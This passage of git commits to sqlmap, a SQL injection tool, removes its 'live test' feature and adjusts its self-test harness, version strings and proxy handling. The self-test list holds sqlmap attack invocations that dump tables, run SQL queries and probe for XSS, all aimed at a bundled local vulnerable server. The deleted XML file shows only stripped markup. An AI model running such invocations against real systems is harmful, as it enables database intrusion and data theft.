os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml") paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml") diff --git a/lib/core/option.py b/lib/core/option.py index fa64003d7..d8d234ea5 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2602,7 +2602,7 @@ def _basicOptionValidation(): errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)" raise SqlmapSyntaxException(errMsg) - if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)): + if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)): errMsg = "option '--crack' should be used as a standalone" raise SqlmapSyntaxException(errMsg) @@ -2669,7 +2669,7 @@ def init(): parseTargetDirect() - if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.liveTest)): + if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork)): _setHostname() _setHTTPTimeout() _setHTTPExtraHeaders() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index caa75fa90..7273718e6 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -252,7 +252,6 @@ optDict = { "forceDns": "boolean", "murphyRate": "integer", "smokeTest": "boolean", - "liveTest": "boolean", "stopFail": "boolean", "runCase": "string", }, diff --git a/lib/core/settings.py b/lib/core/settings.py index 9410744ac..addeff4dd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.4" +VERSION = "1.4.1.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 295bc3ebc..9b5e1451a 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -289,130 +289,6 @@ def adjustValueType(tagName, value): break return value -def liveTest(): - """ - Runs the test of a program against the live testing environment - """ - - retVal = True - count = 0 - global_ = {} - vars_ = {} - - livetests = readXmlFile(paths.LIVE_TESTS_XML) - length = len(livetests.getElementsByTagName("case")) - - element = livetests.getElementsByTagName("global") - if element: - for item in element: - for child in item.childNodes: - if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"): - global_[child.tagName] = adjustValueType(child.tagName, child.getAttribute("value")) - - element = livetests.getElementsByTagName("vars") - if element: - for item in element: - for child in item.childNodes: - if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"): - var = child.getAttribute("value") - vars_[child.tagName] = randomStr(6) if var == "random" else var - - for case in livetests.getElementsByTagName("case"): - parse_from_console_output = False - count += 1 - name = None - parse = [] - switches = dict(global_) - value = "" - vulnerable = True - result = None - - if case.hasAttribute("name"): - name = case.getAttribute("name") - - if conf.runCase and ((conf.runCase.isdigit() and conf.runCase != count) or not re.search(conf.runCase, name, re.DOTALL)): - continue - - if case.getElementsByTagName("switches"): - for child in case.getElementsByTagName("switches")[0].childNodes: - if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"): - value = replaceVars(child.getAttribute("value"), vars_) - switches[child.tagName] = adjustValueType(child.tagName, value) - - if case.getElementsByTagName("parse"): - for item in case.getElementsByTagName("parse")[0].getElementsByTagName("item"): - if item.hasAttribute("value"): - value = replaceVars(item.getAttribute("value"), vars_) - - if item.hasAttribute("console_output"): - parse_from_console_output = bool(item.getAttribute("console_output")) - - parse.append((value, parse_from_console_output)) - - conf.verbose = global_.get("verbose", 1) - setVerbosity() - - msg = "running live test case: %s (%d/%d)" % (name, count, length) - logger.info(msg) - - initCase(switches, count) - - test_case_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "test_case"), "wb", UNICODE_ENCODING) - test_case_fd.write("%s\n" % name) - - try: - result = runCase(parse) - except SqlmapNotVulnerableException: - vulnerable = False - finally: - conf.verbose = global_.get("verbose", 1) - setVerbosity() - - if result is True: - logger.info("test passed") - cleanCase() - else: - errMsg = "test failed" - - if _failures.failedItems: - errMsg += " at parsing items: %s" % ", ".join(i for i in _failures.failedItems) - - errMsg += " - scan folder: %s" % paths.SQLMAP_OUTPUT_PATH - errMsg += " - traceback: %s" % bool(_failures.failedTraceBack) - - if not vulnerable: - errMsg += " - SQL injection not detected" - - logger.error(errMsg) - test_case_fd.write("%s\n" % errMsg) - - if _failures.failedParseOn: - console_output_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "console_output"), "wb", UNICODE_ENCODING) - console_output_fd.write(_failures.failedParseOn) - console_output_fd.close() - - if _failures.failedTraceBack: - traceback_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "traceback"), "wb", UNICODE_ENCODING) - traceback_fd.write(_failures.failedTraceBack) - traceback_fd.close() - - beep() - - if conf.stopFail is True: - return retVal - - test_case_fd.close() - retVal &= bool(result) - - dataToStdout("\n") - - if retVal: - logger.info("live test final result: PASSED") - else: - logger.error("live test final result: FAILED") - - return retVal - def initCase(switches, count): _failures.failedItems = [] _failures.failedParseOn = None diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 7c6fa2986..c56b4b0d6 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -787,9 +787,6 @@ def cmdLineParser(argv=None): parser.add_argument("--smoke-test", dest="smokeTest", action="store_true", help=SUPPRESS) - parser.add_argument("--live-test", dest="liveTest", action="store_true", - help=SUPPRESS) - parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", help=SUPPRESS) @@ -1005,7 +1002,7 @@ def cmdLineParser(argv=None): if args.dummy: args.url = args.url or DUMMY_URL - if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)): + if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). " errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 2e12d2c07..0abc6c574 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -569,13 +569,6 @@ class Metasploit(object): errMsg += "to open a remote session" raise SqlmapGenericException(errMsg) - if conf.liveTest and timeout: - if initialized: - send_all(proc, "exit\n") - time.sleep(2) - else: - proc.kill() - except select.error as ex: # Reference: https://github.com/andymccurdy/redis-py/pull/743/commits/2b59b25bb08ea09e98aede1b1f23a270fc085a9f if ex.args[0] == errno.EINTR: diff --git a/lib/utils/progress.py b/lib/utils/progress.py index 76ad2cf06..97874854a 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -93,11 +93,8 @@ class ProgressBar(object): dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??")))) if self._amount >= self._max: - if not conf.liveTest: - dataToStdout("\r%s\r" % (" " * self._width)) - kb.prependFlag = False - else: - dataToStdout("\n") + dataToStdout("\r%s\r" % (" " * self._width)) + kb.prependFlag = False def __str__(self): """ diff --git a/sqlmap.py b/sqlmap.py index 811fc4ca7..347460cc5 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -173,9 +173,6 @@ def main(): elif conf.vulnTest: from lib.core.testing import vulnTest os._exitcode = 1 - (vulnTest() or 0) - elif conf.liveTest: - from lib.core.testing import liveTest - os._exitcode = 1 - (liveTest() or 0) else: from lib.controller.controller import start if conf.profile and six.PY2: From 3a048a9e67632af6121443f07818d2a4674d5b85 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 5 Jan 2020 22:46:16 +0100 Subject: [PATCH 064/159] Trivial cleanup --- data/xml/livetests.xml | 3648 ---------------------------------------- lib/core/settings.py | 2 +- lib/core/testing.py | 5 - 3 files changed, 1 insertion(+), 3654 deletions(-) delete mode 100644 data/xml/livetests.xml diff --git a/data/xml/livetests.xml b/data/xml/livetests.xml deleted file mode 100644 index b30b9b290..000000000 --- a/data/xml/livetests.xml +++ /dev/null @@ -1,3648 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/lib/core/settings.py b/lib/core/settings.py index addeff4dd..70c8ec627 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.5" +VERSION = "1.4.1.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 9b5e1451a..0ab7c938c 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -22,14 +22,11 @@ import threading import time import traceback -from extra.beep.beep import beep from extra.vulnserver import vulnserver from lib.controller.controller import start from lib.core.common import clearColors from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout -from lib.core.common import randomStr -from lib.core.common import readXmlFile from lib.core.common import shellExec from lib.core.compat import round from lib.core.compat import xrange @@ -42,11 +39,9 @@ from lib.core.data import paths from lib.core.data import queries from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapBaseException -from lib.core.exception import SqlmapNotVulnerableException from lib.core.log import LOGGER_HANDLER from lib.core.option import init from lib.core.option import initOptions -from lib.core.option import setVerbosity from lib.core.optiondict import optDict from lib.core.settings import UNICODE_ENCODING from lib.parse.cmdline import cmdLineParser From dc9e2df3c66827cd593acea886d58bb5b464cfcb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 5 Jan 2020 22:51:31 +0100 Subject: [PATCH 065/159] Minor update --- doc/CHANGELOG.md | 5 +++++ lib/core/settings.py | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 95eb8678e..17bb18997 100644 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,8 @@ +# Version 1.4 (2020-01-01) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1) + # Version 1.3 (2019-01-05) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3) diff --git a/lib/core/settings.py b/lib/core/settings.py index 70c8ec627..34863902d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.6" +VERSION = "1.4.1.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 49afd47c1327651c25a913788551f2355377aa72 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 5 Jan 2020 22:56:10 +0100 Subject: [PATCH 066/159] Trivial update (year bump) --- lib/core/settings.py | 2 +- thirdparty/identywaf/data.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 34863902d..ace6049a2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.7" +VERSION = "1.4.1.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/identywaf/data.json b/thirdparty/identywaf/data.json index c6ab44ca5..8bd55c273 100755 --- a/thirdparty/identywaf/data.json +++ b/thirdparty/identywaf/data.json @@ -1,5 +1,5 @@ { - "__copyright__": "Copyright (c) 2019 Miroslav Stampar (@stamparm), MIT. See the file 'LICENSE' for copying permission", + "__copyright__": "Copyright (c) 2019-2020 Miroslav Stampar (@stamparm), MIT. See the file 'LICENSE' for copying permission", "__notice__": "The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software", "payloads": [ From 0ea39098bd89ffa1870b250d4864ff01bfa08158 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Jan 2020 09:31:54 +0100 Subject: [PATCH 067/159] Fixes #4063 --- lib/core/settings.py | 2 +- thirdparty/beautifulsoup/beautifulsoup.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index ace6049a2..d4f526e1b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.8" +VERSION = "1.4.1.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/beautifulsoup/beautifulsoup.py b/thirdparty/beautifulsoup/beautifulsoup.py index 0837bf72c..bc8889f76 100644 --- a/thirdparty/beautifulsoup/beautifulsoup.py +++ b/thirdparty/beautifulsoup/beautifulsoup.py @@ -595,7 +595,7 @@ class Tag(PageElement): stopNode = self._lastRecursiveChild().next strings = [] current = self.contents[0] - while current is not stopNode: + while current and current is not stopNode: if isinstance(current, NavigableString): strings.append(current.strip()) current = current.next @@ -897,7 +897,7 @@ class Tag(PageElement): return # Note: https://stackoverflow.com/a/30217723 (PEP 479) stopNode = self._lastRecursiveChild().next current = self.contents[0] - while current is not stopNode: + while current and current is not stopNode: yield current current = current.next From 7a0a4c28e5fce11dac54799bda687bf104d89cd9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Jan 2020 11:48:02 +0100 Subject: [PATCH 068/159] Minor update --- data/xml/banner/generic.xml | 16 ++++++++++++++++ lib/core/option.py | 2 +- lib/core/settings.py | 2 +- lib/core/testing.py | 14 ++++++++++---- lib/parse/cmdline.py | 2 +- sqlmap.conf | 2 +- 6 files changed, 30 insertions(+), 8 deletions(-) diff --git a/data/xml/banner/generic.xml b/data/xml/banner/generic.xml index 6e671825f..93f968c42 100644 --- a/data/xml/banner/generic.xml +++ b/data/xml/banner/generic.xml @@ -83,6 +83,10 @@ + + + + @@ -115,10 +119,22 @@ + + + + + + + + + + + + diff --git a/lib/core/option.py b/lib/core/option.py index d8d234ea5..ae0178760 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1139,7 +1139,7 @@ def _setSafeVisit(): conf.safeUrl = "http://%s" % conf.safeUrl if (conf.safeFreq or 0) <= 0: - errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features" + errMsg = "please provide a valid value (>0) for safe frequency ('--safe-freq') while using safe visit features" raise SqlmapSyntaxException(errMsg) def _setPrefixSuffix(): diff --git a/lib/core/settings.py b/lib/core/settings.py index d4f526e1b..f51d06d86 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.9" +VERSION = "1.4.1.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 0ab7c938c..85fd6af79 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -60,8 +60,8 @@ def vulnTest(): """ TESTS = ( - (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)), - (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape", (u": '\u0161u\u0107uraj'",)), + (u"-c --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)), + (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther", (u": '\u0161u\u0107uraj'",)), ("--list-tampers", ("between", "MySQL", "xforwardedfor")), ("-r --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")), ("-l --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), @@ -76,7 +76,7 @@ def vulnTest(): ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")), ("-u --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), ("-u --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")), - ("-u --technique=U --fresh-queries --force-partial --dump -T users --answer=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary")), + ("-u --technique=U --fresh-queries --force-partial --dump -T users --answers=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary")), ("-u --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")), ("-u '&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)), @@ -105,6 +105,9 @@ def vulnTest(): except: time.sleep(1) + handle, config = tempfile.mkstemp(suffix=".conf") + os.close(handle) + handle, database = tempfile.mkstemp(suffix=".sqlite") os.close(handle) @@ -126,11 +129,14 @@ def vulnTest(): url = "http://%s:%d/?id=1" % (address, port) direct = "sqlite3://%s" % database + content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url) + open(config, "w+").write(content) + for options, checks in TESTS: status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS))) dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) - cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("", url).replace("", direct).replace("", request).replace("", log)) + cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("", url).replace("", direct).replace("", request).replace("", log).replace("", config)) output = shellExec(cmd) if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks): diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index c56b4b0d6..8bf6a8188 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -252,7 +252,7 @@ def cmdLineParser(argv=None): help="Load safe HTTP request from a file") request.add_argument("--safe-freq", dest="safeFreq", type=int, - help="Test requests between two visits to a given safe URL") + help="Regular requests between visits to a safe URL") request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true", help="Skip URL encoding of payload data") diff --git a/sqlmap.conf b/sqlmap.conf index 7c32a6312..e9e7d015c 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -171,7 +171,7 @@ safePost = # Load safe HTTP request from a file. safeReqFile = -# Test requests between two visits to a given safe URL (default 0). +# Regular requests between visits to a safe URL (default 0). # Valid: integer # Default: 0 safeFreq = 0 From 57f17794c4501fd94acb2848328a3d08ab801be6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Jan 2020 21:08:18 +0100 Subject: [PATCH 069/159] Adding support for all_proxy (#91) --- lib/core/option.py | 7 +++++++ lib/core/settings.py | 5 ++++- 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index ae0178760..307c1304e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1759,6 +1759,13 @@ def _cleanupOptions(): conf.binaryFields = conf.binaryFields.replace(" ", "") conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields) + envProxy = max(os.environ.get(_, "") for _ in ("all_proxy", "ALL_PROXY", "http_proxy", "HTTP_PROXY", "https_proxy", "HTTPS_PROXY")) + if re.search(r"\A(https?|socks[45])://.+:\d+\Z", envProxy) and conf.proxy is None: + debugMsg = "using environment proxy '%s'" % envProxy + logger.debug(debugMsg) + + conf.proxy = envProxy + if any((conf.proxy, conf.proxyFile, conf.tor)): conf.disablePrecon = True diff --git a/lib/core/settings.py b/lib/core/settings.py index f51d06d86..4dc09a3e5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.10" +VERSION = "1.4.1.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, 